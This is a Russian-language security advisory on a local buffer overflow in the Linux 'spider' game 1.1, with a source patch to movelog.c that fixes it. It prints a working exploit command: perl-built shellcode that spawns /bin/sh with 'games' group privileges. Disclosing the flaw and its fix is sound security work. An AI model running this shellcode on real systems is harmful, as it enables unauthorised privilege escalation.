Переполнение буфера в 'spider' игре для Linux систем

Дата публикации:
06.10.2004
Дата изменения:
17.10.2006
Всего просмотров:
1003
Опасность:
Низкая
Наличие исправления:
Нет
Количество уязвимостей:
1
CVSSv2 рейтинг:
CVE ID:
Нет данных
Вектор эксплуатации:
Локальная
Воздействие:
Повышение привилегий
CWE ID:
Нет данных
Наличие эксплоита:
Нет данных
Уязвимые продукты:
spider 1.x
Уязвимые версии: Spider Game 1.1

Описание: Переполнение буфера обнаружено в 'spider' игре для Linux систем. Локальный пользователь может получить привилегии ‘games’ группы.

Локальный пользователь может представить специально обработанный параметр командной строки, чтобы вызвать переполнение буфера и выполнить произвольный код с привилегиями группы ‘games’. Пример:

 sh# spider -s `perl -e 'print "\x90" x 987 .
"\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80".
"\x0c\xf6\xf\xbf"'`

Решение:Установите исправление:

--- movelog.c	2004-08-31 14:12:32.000000000 +0300
+++ movelognew.c	2004-08-31 14:13:42.000000000 +0300
@@ -748,7 +748,7 @@
 
 	fname = remove_newlines(fname);
 	if ((fp = fopen(fname, "r")) == NULL)	{
-		(void)sprintf(buf, "Can't open file \"%s\" for loading.", fname);
+      (void)sprintf(buf, "Can't open file \"%.1000s\" for loading.", fname);
 		show_message(buf);
 		return;
 	} 


Ссылки: Buffer Overflow in Spider game
или введите имя

CAPTCHA